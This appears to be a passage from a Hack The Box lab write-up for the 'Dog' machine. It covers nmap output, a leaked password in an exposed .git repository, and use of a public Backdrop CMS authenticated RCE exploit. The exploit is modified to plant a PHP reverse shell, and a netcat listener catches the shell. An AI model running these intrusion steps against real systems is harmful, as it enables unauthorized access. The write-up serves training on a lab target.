Dog is an easy-difficulty linux machine from Hack The Box dealing initially with an exposed .git folder leaking user credentials that’ll allow us to exploit an Authenticated RCE vulnerability on a Backdrop CMS instance to get user. As for root, we’ll abuse bee to execute commands as root granting us system access.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA) | 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA) |_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-generator: Backdrop CMS 1 (https://backdropcms.org) |_http-title: Home | Dog | http-git: | 10.10.11.58:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: todo: customize url aliases. reference:https://docs.backdro... | http-robots.txt: 22 disallowed entries (15 shown) | /core/ /profiles/ /README.md /web.config /admin | /comment/reply /filter/tips /node/add /search /user/register |_/user/password /user/login /user/logout /?q=admin /?q=comment/reply Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 40.60 seconds
For this machine we’ve got our usual ssh 22 port and a web application deployed on port 80. We can also see from the nmap scan that the .git directory is exposed so we can download it and check what it has for us.
Checking the settings.php file, we can find some credentials: root:BackDropJ2024DS2024
I tried logging in with these credentials on the main web app but it did not work. So looking more into the source code, I found a tiffany username under core/modules/simpletest/tests/database_test.test. We can use that to login: Web Application
Looking a bit into the web app, we can see it is Backdrop CMS. Looking for exploits for that version, I stumbled upon this one: https://www.exploit-db.com/exploits/52021 which is an Authenticated RCE vulnerability.
This exploit will generate us a malicious module to upload to the CMS, I updated the shell.php to a php reverse shell script.
Change the zip file to a tar.gz file, go to “functionality => “install module” -> “manual installation” and then navigate to http://dog.htb/modules/shell/shell.php and you will trigger the shell:
1 2 3 4 5 6 7 8 9 10 11 12
$ rlwrap nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.11] from (UNKNOWN) [10.10.11.58] 33272 Linux dog 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux 11:35:59 up 17:34, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $
Now checking /etc/passwd file to get to know more users, we find johncusack: